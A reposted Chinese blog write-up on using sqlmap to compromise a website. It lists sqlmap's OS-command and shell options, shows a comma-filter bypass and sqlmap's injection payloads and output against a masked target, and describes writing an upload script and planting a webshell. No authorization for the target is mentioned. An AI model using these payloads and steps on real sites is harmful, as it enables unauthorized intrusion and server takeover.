SQLmap上传脚本getshell

sqlmap简介
sqlmap是一个渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它有功能强大的检测引擎,针对各种数据库的渗透测试的功能选项,能够获取数据库中存储的数据,访问操作系统文件,执行操作系统命令等。
以下是简单的参数介绍:

请求
命令 注释
–date=DATE #通过post发送数据:
–cookie=COOKIE #cookie头的值
–user-agent=AGENT #指定http user-agent头
–random-agent #使用随机user-agent头
–tor #使用匿名网络
–proxy=IP #设置代理
–timeout #超时等待时间
获取数据
命令 注释
-a #检查一切
–users #数据库用户账户
–password #数据库账户密码
–is-dba #是否为root用户
–dbs #枚举数据库
–tables #枚举数据表
–columns #枚举字段
–count #检索表的条目数

  • -dump #转储数据库的表项
  • -dump-all #转储所有
    操作系统
    命令 注释
    –os-cmd=CMD #执行cmd命令
    –os-shell #建立shell
    –os-pwn #获取OOB shell,meterpreter,vnc ,例:sqlmap -u xxx --os-pwn msf-path /usr/share/metasploit-framework/
    –os-bof #存储过程缓冲区溢出
    –priv-esc #数据库进程用户权限提升
    –reg-read #读取注册表项
    –reg-add #添加注册表项
    –reg-del #删除注册表项

注:使用–os 命令会向目标写入一个文件上传脚本,然后通过该上传脚本上传shell、meterpreter等,并修改权限(phpversion<4.1.0时).

一次渗透
对某网站进行渗透

信息搜集
检索该域名及IP,未发现有用信息.
使用御剑对网站目录进行扫描,未发现敏感信息:

在网站上也未找到后台和robots.txt.

发现sql注入
但是在一个查询页面发现了sql注入漏洞:

对这个点进行测试发现过滤了逗号,可以通过union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)的方式绕过,尝试使用"into outfile"写文件却未成功,于是用sqlmap进行渗透.
输入命令:sqlmap.py -u “http://www.xxxx.com/cj.php?code=1” ,获得以下信息:

sqlmap resumed the following injection point(s) from stored session:

Parameter: code (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: code=1’ OR NOT 9500=9500#

Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: code=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171716271,(SELECT (ELT(6682=6682,1))),0x716a6a6b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBii

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: code=1' OR SLEEP(5)-- KVCY

Type: UNION query
Title: MySQL UNION query (NULL) - 13 columns
Payload: code=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7171716271,0x53415242557265476b6b777379697a4173616e47734c4c4b555a45534a6e614e476178754e634253,0x716a6a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

[15:38:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.4.33
back-end DBMS: MySQL >= 5.5
可知该sql注入漏洞可以利用,并且获得了系统信息、数据库信息等等.

利用sql注入
由于不知道网站后台,即使通过sql注入漏洞获取账号密码也不能完成任务,不过我们可以利用该漏洞在目标服务器上写一个文件上传脚本,然后上传webshell.
输入命令:sqlmap.py -u “http://www.xxx.com/cj.php?code=1” - -os-cmd=ipconfig, 然后配置参数,因为不清楚路径,所以选择Y,让sqlmap自动获取路径:

执行后可以看到sqlmap获取了路径,并且写入了两个脚本,其中第一个就是文件上传脚本,第二个是执行cmd命令的脚本,但是执行失败了,不过我们写入文件上传脚本的目的达成了.

上传webshell完成渗透
利用前面sqlmap写入的文件上传脚本tmpuugsd.php向目标上传大马.

最后利用上传的webshell成功完成渗透任务.

总结
这次渗透关键一步是利用sqlmap写入一个文件上传脚本,如果不清楚–os 命令的原理可能不能快速完成任务,因此在平时的学习中要注意了解各类工具的原理.另外在获取webshell后才发现网站后台是admin+名称!!!说明信息搜集不够完美,思路不够开拓,今后需要注意完善.

转发自看雪    https://bbs.pediy.com/thread-250000.htm

你可能感兴趣的:(渗透经历)